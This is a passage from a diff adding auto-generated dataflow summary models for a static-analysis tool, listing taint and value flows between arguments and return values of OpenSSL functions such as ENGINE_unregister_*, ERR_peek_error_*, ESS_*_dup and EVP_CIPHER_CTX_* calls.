"Argument[*0].Field[*pkey_meths]", "value", "dfc-generated"] + - ["", "", True, "ENGINE_unregister_DH", "(ENGINE *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ENGINE_unregister_DSA", "(ENGINE *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ENGINE_unregister_EC", "(ENGINE *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ENGINE_unregister_RAND", "(ENGINE *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ENGINE_unregister_RSA", "(ENGINE *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ENGINE_unregister_ciphers", "(ENGINE *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ENGINE_unregister_digests", "(ENGINE *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ENGINE_unregister_pkey_asn1_meths", "(ENGINE *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ENGINE_unregister_pkey_meths", "(ENGINE *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ERR_add_error_vdata", "(int,va_list)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ERR_error_string", "(unsigned long,char *)", "", "Argument[*1]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ERR_error_string", "(unsigned long,char *)", "", "Argument[1]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ERR_get_error_all", "(const char **,int *,const char **,const char **,int *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ERR_get_error_all", "(const char **,int *,const char **,const char **,int *)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ERR_get_error_all", "(const char **,int *,const char **,const char **,int *)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "ERR_get_error_line", "(const char **,int *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ERR_get_error_line_data", "(const char **,int *,const char **,int *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ERR_get_error_line_data", "(const char **,int *,const char **,int *)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ERR_load_strings", "(int,ERR_STRING_DATA *)", "", "Argument[0]", "Argument[*1].Field[*error]", "taint", "dfc-generated"] + - ["", "", True, "ERR_load_strings", "(int,ERR_STRING_DATA *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ERR_load_strings_const", "(const ERR_STRING_DATA *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ERR_peek_error_all", "(const char **,int *,const char **,const char **,int *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ERR_peek_error_all", "(const char **,int *,const char **,const char **,int *)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ERR_peek_error_all", "(const char **,int *,const char **,const char **,int *)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "ERR_peek_error_data", "(const char **,int *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ERR_peek_error_func", "(const char **)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ERR_peek_error_line", "(const char **,int *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ERR_peek_error_line_data", "(const char **,int *,const char **,int *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ERR_peek_error_line_data", "(const char **,int *,const char **,int *)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ERR_peek_last_error_all", "(const char **,int *,const char **,const char **,int *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ERR_peek_last_error_all", "(const char **,int *,const char **,const char **,int *)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ERR_peek_last_error_all", "(const char **,int *,const char **,const char **,int *)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "ERR_peek_last_error_data", "(const char **,int *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ERR_peek_last_error_func", "(const char **)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ERR_peek_last_error_line", "(const char **,int *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ERR_peek_last_error_line_data", "(const char **,int *,const char **,int *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ERR_peek_last_error_line_data", "(const char **,int *,const char **,int *)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ERR_unload_strings", "(int,ERR_STRING_DATA *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ERR_vset_error", "(int,int,const char *,va_list)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "ESS_CERT_ID_V2_dup", "(const ESS_CERT_ID_V2 *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "ESS_CERT_ID_V2_dup", "(const ESS_CERT_ID_V2 *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ESS_CERT_ID_V2_dup", "(const ESS_CERT_ID_V2 *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ESS_CERT_ID_V2_dup", "(const ESS_CERT_ID_V2 *)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ESS_CERT_ID_V2_dup", "(const ESS_CERT_ID_V2 *)", "", "Argument[0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ESS_CERT_ID_V2_free", "(ESS_CERT_ID_V2 *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "ESS_CERT_ID_V2_free", "(ESS_CERT_ID_V2 *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "ESS_CERT_ID_dup", "(const ESS_CERT_ID *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "ESS_CERT_ID_dup", "(const ESS_CERT_ID *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ESS_CERT_ID_dup", "(const ESS_CERT_ID *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ESS_CERT_ID_dup", "(const ESS_CERT_ID *)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ESS_CERT_ID_dup", "(const ESS_CERT_ID *)", "", "Argument[0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ESS_CERT_ID_free", "(ESS_CERT_ID *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "ESS_CERT_ID_free", "(ESS_CERT_ID *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "ESS_ISSUER_SERIAL_dup", "(const ESS_ISSUER_SERIAL *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "ESS_ISSUER_SERIAL_dup", "(const ESS_ISSUER_SERIAL *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ESS_ISSUER_SERIAL_dup", "(const ESS_ISSUER_SERIAL *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ESS_ISSUER_SERIAL_dup", "(const ESS_ISSUER_SERIAL *)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ESS_ISSUER_SERIAL_dup", "(const ESS_ISSUER_SERIAL *)", "", "Argument[0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ESS_ISSUER_SERIAL_free", "(ESS_ISSUER_SERIAL *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "ESS_ISSUER_SERIAL_free", "(ESS_ISSUER_SERIAL *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "ESS_SIGNING_CERT_V2_dup", "(const ESS_SIGNING_CERT_V2 *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "ESS_SIGNING_CERT_V2_dup", "(const ESS_SIGNING_CERT_V2 *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ESS_SIGNING_CERT_V2_dup", "(const ESS_SIGNING_CERT_V2 *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ESS_SIGNING_CERT_V2_dup", "(const ESS_SIGNING_CERT_V2 *)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ESS_SIGNING_CERT_V2_dup", "(const ESS_SIGNING_CERT_V2 *)", "", "Argument[0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ESS_SIGNING_CERT_V2_free", "(ESS_SIGNING_CERT_V2 *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "ESS_SIGNING_CERT_V2_free", "(ESS_SIGNING_CERT_V2 *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "ESS_SIGNING_CERT_dup", "(const ESS_SIGNING_CERT *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "ESS_SIGNING_CERT_dup", "(const ESS_SIGNING_CERT *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ESS_SIGNING_CERT_dup", "(const ESS_SIGNING_CERT *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ESS_SIGNING_CERT_dup", "(const ESS_SIGNING_CERT *)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ESS_SIGNING_CERT_dup", "(const ESS_SIGNING_CERT *)", "", "Argument[0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ESS_SIGNING_CERT_free", "(ESS_SIGNING_CERT *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "ESS_SIGNING_CERT_free", "(ESS_SIGNING_CERT *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "EVP_ASYM_CIPHER_get0_description", "(const EVP_ASYM_CIPHER *)", "", "Argument[*0].Field[**description]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "EVP_ASYM_CIPHER_get0_description", "(const EVP_ASYM_CIPHER *)", "", "Argument[*0].Field[*description]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EVP_ASYM_CIPHER_get0_name", "(const EVP_ASYM_CIPHER *)", "", "Argument[*0].Field[**type_name]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "EVP_ASYM_CIPHER_get0_name", "(const EVP_ASYM_CIPHER *)", "", "Argument[*0].Field[*type_name]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EVP_ASYM_CIPHER_get0_provider", "(const EVP_ASYM_CIPHER *)", "", "Argument[*0].Field[**prov]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "EVP_ASYM_CIPHER_get0_provider", "(const EVP_ASYM_CIPHER *)", "", "Argument[*0].Field[*prov]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EVP_ASYM_CIPHER_names_do_all", "(const EVP_ASYM_CIPHER *,..(*)(..),void *)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "EVP_BytesToKey", "(const EVP_CIPHER *,const EVP_MD *,const unsigned char *,const unsigned char *,int,int,unsigned char *,unsigned char *)", "", "Argument[*0].Field[*key_len]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EVP_BytesToKey", "(const EVP_CIPHER *,const EVP_MD *,const unsigned char *,const unsigned char *,int,int,unsigned char *,unsigned char *)", "", "Argument[6]", "Argument[*6]", "taint", "dfc-generated"] + - ["", "", True, "EVP_BytesToKey", "(const EVP_CIPHER *,const EVP_MD *,const unsigned char *,const unsigned char *,int,int,unsigned char *,unsigned char *)", "", "Argument[7]", "Argument[*7]", "taint", "dfc-generated"] + - ["", "", True, "EVP_CIPHER_CTX_buf_noconst", "(EVP_CIPHER_CTX *)", "", "Argument[*0].Field[*buf]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "EVP_CIPHER_CTX_cipher", "(const EVP_CIPHER_CTX *)", "", "Argument[*0].Field[**cipher]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "EVP_CIPHER_CTX_cipher", "(const EVP_CIPHER_CTX *)", "", "Argument[*0].Field[*cipher]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EVP_CIPHER_CTX_clear_flags", "(EVP_CIPHER_CTX *,int)", "", "Argument[1]", "Argument[*0].Field[*flags]", "taint", "dfc-generated"] + - ["", "", True, "EVP_CIPHER_CTX_copy", "(EVP_CIPHER_CTX *,const EVP_CIPHER_CTX *)", "", "Argument[*1]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "EVP_CIPHER_CTX_copy", "(EVP_CIPHER_CTX *,const EVP_CIPHER_CTX *)", "", "Argument[1]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "EVP_CIPHER_CTX_copy", "(EVP_CIPHER_CTX *,const EVP_CIPHER_CTX *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "EVP_CIPHER_CTX_ctrl", "(EVP_CIPHER_CTX *,int,int,void *)", "", "Argument[2]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EVP_CIPHER_CTX_dup", "(const EVP_CIPHER_CTX *)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "EVP_CIPHER_CTX_dup", "(const EVP_CIPHER_CTX *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "EVP_CIPHER_CTX_dup", "(const EVP_CIPHER_CTX *)", "", "Argument[0]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "EVP_CIPHER_CTX_get0_cipher", "(const EVP_CIPHER_CTX *)", "", "Argument[*0].Field[**cipher]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "EVP_CIPHER_CTX_get0_cipher", "(const EVP_CIPHER_CTX *)", "", "Argument[*0].Field[*cipher]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EVP_CIPHER_CTX_get1_cipher", "(EVP_CIPHER_CTX *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "EVP_CIPHER_CTX_get1_cipher", "(EVP_CIPHER_CTX *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "EVP_CIPHER_CTX_get_algor", "(EVP_CIPHER_CTX *,X509_ALGOR **)", "", "Argument[**1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "EVP_CIPHER_CTX_get_algor", "(EVP_CIPHER_CTX *,X509_ALGOR **)", "", "Argument[*1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "EVP_CIPHER_CTX_get_algor", "(EVP_CIPHER_CTX *,X509_ALGOR **)", "", "Argument[1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "EVP_CIPHER_CTX_get_algor", "(EVP_CIPHER_CTX *,X509_ALGOR **)", "", "Argument[1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "EVP_CIPHER_CTX_get_app_data", "(const EVP_CIPHER_CTX *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "EVP_CIPHER_CTX_get_app_data", "(const EVP_CIPHER_CTX *)", "", "Argument[*0]", "ReturnValue[**]", "taint", "df-generated"] + - ["", "", True, "EVP_CIPHER_CTX_get_app_data", "(const EVP_CIPHER_CTX *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "EVP_CIPHER_CTX_get_block_size", "(const EVP_CIPHER_CTX *)", "", "Argument[*0].Field[**cipher].Field[*block_size]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EVP_CIPHER_CTX_get_cipher_data", "(const EVP_CIPHER_CTX *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "EVP_CIPHER_CTX_get_cipher_data", "(const EVP_CIPHER_CTX *)", "", "Argument[*0]", "ReturnValue[**]", "taint", "df-generated"] + - ["", "", True, "EVP_CIPHER_CTX_get_cipher_data", "(const EVP_CIPHER_CTX *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "EVP_CIPHER_CTX_get_iv_length", "(const EVP_CIPHER_CTX *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "EVP_CIPHER_CTX_get_key_length", "(const EVP_CIPHER_CTX *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "EVP_CIPHER_CTX_get_nid", "(const EVP_CIPHER_CTX *)", "", "Argument[*0].Field[**cipher].Field[*nid]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EVP_CIPHER_CTX_get_num", "(const EVP_CIPHER_CTX *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "EVP_CIPHER_CTX_is_encrypting", "(const EVP_CIPHER_CTX *)", "", "Argument[*0].Field[*encrypt]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EVP_CIPHER_CTX_iv", "(const EVP_CIPHER_CTX *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "EVP_CIPHER_CTX_iv_noconst", "(EVP_CIPHER_CTX *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "EVP_CIPHER_CTX_original_iv", "(const EVP_CIPHER_CTX *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "EVP_CIPHER_CTX_rand_key", "(EVP_CIPHER_CTX *,unsigned char *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "EVP_CIPHER_CTX_set_app_data", "(EVP_CIPHER_CTX *,void *)", "", "Argument[**1]", "Argument[*0].Field[***app_data]", "value", "dfc-generated"] + - ["", "", True, "EVP_CIPHER_CTX_set_app_data", "(EVP_CIPHER_CTX *,void *)", "", "Argument[*1]", "Argument[*0].Field[**app_data]", "value", "dfc-generated"] + - ["", "", True, "EVP_CIPHER_CTX_set_app_data", "(EVP_CIPHER_CTX *,void *)", "", "Argument[1]", "Argument[*0].Field[*app_data]", "value", "dfc-generated"] + - ["", "", True, "EVP_CIPHER_CTX_set_cipher_data", "(EVP_CIPHER_CTX *,void *)", "", "Argument[**1]", "Argument[*0].Field[***cipher_data]", "value", "dfc-generated"] + - ["", "", True, "EVP_CIPHER_CTX_set_cipher_data", "(EVP_CIPHER_CTX *,void *)", "", "Argument[*1]", "Argument[*0].Field[**cipher_data]", "value", "dfc-generated"] + - ["", "", True, "EVP_CIPHER_CTX_set_cipher_data", "(EVP_CIPHER_CTX *,void *)", "", "Argument[1]", "Argument[*0].Field[*cipher_data]", "value", "dfc-generated"] + - ["", "", True, "EVP_CIPHER_CTX_set_flags", "(EVP_CIPHER_CTX *,int)", "", "Argument[1]", "Argument[*0].Field[*flags]", "taint", "dfc-generated"] + - ["", "", True, "EVP_CIPHER_CTX_set_key_length", "(EVP_CIPHER_CTX *,int)", "", "Argument[1]", "Argument[*0].Field[*key_len]", "value", "dfc-generated"] + - ["", "", True, "EVP_CIPHER_CTX_set_key_length", "(EVP_CIPHER_CTX *,int)", "", "Argument[1]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EVP_CIPHER_CTX_set_num", "(EVP_CIPHER_CTX *,int)", "", "Argument[1]", "Argument[*0].Field[*num]", "value", "dfc-generated"] + - ["", "", True, "EVP_CIPHER_CTX_set_params", "(EVP_CIPHER_CTX *,const OSSL_PARAM[])", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "EVP_CIPHER_CTX_test_flags", "(const EVP_CIPHER_CTX *,int)", "", "Argument[*0].Field[*flags]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "EVP_CIPHER_CTX_test_flags", "(const EVP_CIPHER_CTX *,int)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "EVP_CIPHER_get0_description", "(const EVP_CIPHER *)", "", "Argument[*0].Field[**description]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "EVP_CIPHER_get0_description", "(const EVP_CIPHER *)", "", "Argument[*0].Field[*description]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EVP_CIPHER_get0_name", "(const EVP_CIPHER *)", "", "Argument[*0].Field[**type_name]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "EVP_CIPHER_get0_name", "(const EVP_CIPHER *)", "", "Argument[*0].Field[*type_name]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EVP_CIPHER_get0_provider", "(const EVP_CIPHER *)", "", "Argument[*0].Field[**prov]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "EVP_CIPHER_get0_provider", "(const EVP_CIPHER *)", "", "Argument[*0].Field[*prov]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EVP_CIPHER_get_block_size", "(const EVP_CIPHER *)", "", "Argument[*0].Field[*block_size]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EVP_CIPHER_get_flags", "(const EVP_CIPHER *)", "", "Argument[*0].Field[*flags]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EVP_CIPHER_get_iv_length", "(const EVP_CIPHER *)", "", "Argument[*0].Field[*iv_len]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EVP_CIPHER_get_key_length", "(const EVP_CIPHER *)", "", "Argument[*0].Field[*key_len]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EVP_CIPHER_get_mode", "(const EVP_CIPHER *)", "", "Argument[*0].Field[*flags]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "EVP_CIPHER_get_nid", "(const EVP_CIPHER *)", "", "Argument[*0].Field[*nid]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EVP_CIPHER_get_type", "(const EVP_CIPHER *)", "", "Argument[*0].Field[*nid]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EVP_CIPHER_impl_ctx_size", "(const EVP_CIPHER *)", "", "Argument[*0].Field[*ctx_size]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EVP_CIPHER_meth_dup", "(const EVP_CIPHER *)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "EVP_CIPHER_meth_dup", "(const EVP_CIPHER *)", "", "Argument[0]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "EVP_CIPHER_meth_get_cleanup", "(const EVP_CIPHER *)", "", "Argument[*0].Field[*cleanup]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EVP_CIPHER_meth_get_ctrl", "(const EVP_CIPHER *)", "", "Argument[*0].Field[*ctrl]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EVP_CIPHER_meth_get_do_cipher", "(const EVP_CIPHER *)", "", "Argument[*0].Field[*do_cipher]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EVP_CIPHER_meth_get_get_asn1_params", "(const EVP_CIPHER *)", "", "Argument[*0].Field[*get_asn1_parameters]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EVP_CIPHER_meth_get_init", "(const EVP_CIPHER *)", "", "Argument[*0].Field[*init]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EVP_CIPHER_meth_get_set_asn1_params", "(const EVP_CIPHER *)", "", "Argument[*0].Field[*set_asn1_parameters]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EVP_CIPHER_meth_new", "(int,int,int)", "", "Argument[0]", "ReturnValue[*].Field[*nid]", "value", "dfc-generated"] + - ["", "", True, "EVP_CIPHER_meth_new", "(int,int,int)", "", "Argument[1]", "ReturnValue[*].Field[*block_size]", "value", "dfc-generated"] + - ["", "", True, "EVP_CIPHER_meth_new", "(int,int,int)", "", "Argument[2]", "ReturnValue[*].Field[*key_len]", "value", "dfc-generated"] + - ["", "", True, "EVP_CIPHER_meth_set_cleanup", "(EVP_CIPHER *,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*cleanup]", "value", "dfc-generated"] + - ["", "", True, "EVP_CIPHER_meth_set_ctrl", "(EVP_CIPHER *,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*ctrl]", "value", "dfc-generated"] + - ["", "", True, "EVP_CIPHER_meth_set_do_cipher", "(EVP_CIPHER *,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*do_cipher]", "value", "dfc-generated"] + - ["", "", True, "EVP_CIPHER_meth_set_flags", "(EVP_CIPHER *,unsigned long)", "", "Argument[1]", "Argument[*0].Field[*flags]", "value", "dfc-generated"] + - ["", "", True, "EVP_CIPHER_meth_set_get_asn1_params", "(EVP_CIPHER *,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*get_asn1_parameters]", "value", "dfc-generated"] + - ["", "", True, "EVP_CIPHER_meth_set_impl_ctx_size", "(EVP_CIPHER *,int)", "", "Argument[1]", "Argument[*0].Field[*ctx_size]", "value", "dfc-generated"] + - ["", "", True, "EVP_CIPHER_meth_set_init", "(EVP_CIPHER *,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*init]", "value", "dfc-generated"] + - ["", "", True, "EVP_CIPHER_meth_set_iv_length", "(EVP_CIPHER *,int)", "", "Argument[1]", "Argument[*0].Field[*iv_len]", "value", "dfc-generated"] + - ["", "", True, "EVP_CIPHER_meth_set_set_asn1_params", "(EVP_CIPHER *,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*set_asn1_parameters]", "value", "dfc-generated"] + - ["", "", True, "EVP_CIPHER_names_do_all", "(const EVP_CIPHER *,..(*)(..),void *)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "EVP_CIPHER_param_to_asn1", "(EVP_CIPHER_CTX *,ASN1_TYPE *)", "", "Argument[*1]", "Argument[1]", "taint", "df-generated"] + - ["", "", True, "EVP_CIPHER_set_asn1_iv", "(EVP_CIPHER_CTX *,ASN1_TYPE *)", "", "Argument[*1]", "Argument[1]", "taint", "df-generated"] + - ["", "", True, "EVP_CipherFinal", "(EVP_CIPHER_CTX *,unsigned char *,int *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "EVP_CipherFinal", "(EVP_CIPHER_CTX *,unsigned char *,int *)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "EVP_CipherFinal_ex", "(EVP_CIPHER_CTX *,unsigned char *,int *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "EVP_CipherFinal_ex", "(EVP_CIPHER_CTX *,unsigned char *,int *)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "EVP_CipherInit", "(EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,const unsigned char *,int)", "", "Argument[*3]", "Argument[*0].Field[**oiv]", "value", "dfc-generated"] + - ["", "", True, "EVP_CipherInit", "(EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,const unsigned char *,int)", "", "Argument[*3]", "Argument[*0].Field[*iv]", "value", "dfc-generated"] + - ["", "", True, "EVP_CipherInit", "(EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,const unsigned char *,int)", "", "Argument[*3]", "Argument[*0].Field[*oiv]", "value", "dfc-generated"] + - ["", "", True, "EVP_CipherInit", "(EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,const unsigned char *,int)", "", "Argument[1]", "Argument[*0].Field[*cipher]", "value", "dfc-generated"] + - ["", "", True, "EVP_CipherInit", "(EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,const unsigned char *,int)", "", "Argument[1]", "Argument[*0].Field[*fetched_cipher]", "value", "dfc-generated"] + - ["", "", True, "EVP_CipherInit", "(EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,const unsigned char *,int)", "", "Argument[3]", "Argument[*0].Field[**oiv]", "taint", "dfc-generated"] + - ["", "", True, "EVP_CipherInit", "(EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,const unsigned char *,int)", "", "Argument[3]", "Argument[*0].Field[*iv]", "taint", "dfc-generated"] + - ["", "", True, "EVP_CipherInit", "(EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,const unsigned char *,int)", "", "Argument[3]", "Argument[*0].Field[*oiv]", "taint", "dfc-generated"] + - ["", "", True, "EVP_CipherInit", "(EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,const unsigned char *,int)", "", "Argument[4]", "Argument[*0].Field[*encrypt]", "value", "dfc-generated"] + - ["", "", True, "EVP_CipherInit_SKEY", "(EVP_CIPHER_CTX *,const EVP_CIPHER *,EVP_SKEY *,const unsigned char *,size_t,int,const OSSL_PARAM[])", "", "Argument[1]", 